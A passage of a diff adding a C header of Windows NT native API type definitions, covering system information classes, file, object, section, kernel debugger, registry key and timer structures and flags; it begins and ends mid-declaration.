SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemSpare0 = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + MaxSystemInfoClass = 157 +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; +#endif + +/* +** Timer START +*/ + +// +// Timer APC routine definition. +// + +typedef VOID(*PTIMER_APC_ROUTINE) ( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +#ifndef _TIMER_INFORMATION_CLASS +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; +#endif + +#ifndef _TIMER_BASIC_INFORMATION +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; +#endif + +/* +** Timer END +*/ + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +// +// Valid values for the Attributes field +// + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#endif + + +/* +** Objects START +*/ + +#ifndef _OBJECT_INFORMATION_CLASS +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; +#endif + +#ifndef _OBJECT_BASIC_INFORMATION +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; +#endif + +#ifndef _OBJECT_NAME_INFORMATION +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; +#endif + +#ifndef _OBJECT_TYPE_INFORMATION +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; +#endif + +#ifndef _OBJECT_TYPES_INFORMATION +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; +#endif + +#ifndef _OBJECT_HANDLE_FLAG_INFORMATION +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; +#endif +/* +** Objects END +*/ + +/* +** File start +*/ + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#ifndef _FILE_INFORMATION_CLASS +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; +#endif + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +// +// Define the NamedPipeType flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 + +// +// Define the CompletionMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// +// Define the ReadMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// +// Define the NamedPipeConfiguration flags for NtQueryInformation +// + +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// +// Define the NamedPipeState flags for NtQueryInformation +// + +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// +// Define the NamedPipeEnd flags for NtQueryInformation +// + +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + }; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; +/* +** File END +*/ + +/* +** Section START +*/ + +#ifndef _SECTION_INFORMATION_CLASS +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + SectionRelocationInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; +#endif + +typedef struct _SECTIONBASICINFO { + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#define SEC_BASED 0x200000 +#define SEC_NO_CHANGE 0x400000 +#define SEC_FILE 0x800000 +#define SEC_IMAGE 0x1000000 +#define SEC_RESERVE 0x4000000 +#define SEC_COMMIT 0x8000000 +#define SEC_NOCACHE 0x10000000 +#define SEC_GLOBAL 0x20000000 +#define SEC_LARGE_PAGES 0x80000000 + +/* +** Section END +*/ + +/* +** Kernel Debugger START +*/ + +#ifndef _SYSDBG_COMMAND +typedef enum _SYSDBG_COMMAND { + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; +#endif + +#ifndef _SYSDBG_VIRTUAL +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; +#endif + +/* +** Kernel Debugger END +*/ + +/* +** System Boot Environment START +*/ + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1 // Size=20 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1; + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION // Size=32 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; + unsigned __int64 BootFlags; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; + +/* +** System Boot Environment END +*/ + +/* +** Mutant START +*/ + +#ifndef _MUTANT_INFORMATION_CLASS +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; +#endif + +#ifndef _MUTANT_BASIC_INFORMATION +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; +#endif + +/* +** Mutant END +*/ + +/* +** Key START +*/ + +#ifndef _KEY_INFORMATION_CLASS +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; +#endif + +#ifndef _KEY_FULL_INFORMATION +typedef struct _KEY_FULL_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; +#endif + +#ifndef _KEY_BASIC_INFORMATION +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_INFORMATION_CLASS +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; +#endif + +#ifndef _KEY_VALUE_BASIC_INFORMATION +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_FULL_INFORMATION +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size + // Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; +#endif + +#ifndef _KEY_VALUE_ENTRY +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; +#endif + +/* +** Key END +*/ + +/* +** IoCompletion START +*/ + +#ifndef _IO_COMPLETION_INFORMATION_CLASS +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; +#endif + +#ifndef _IO_COMPLETION_BASIC_INFORMATION +typedef struct 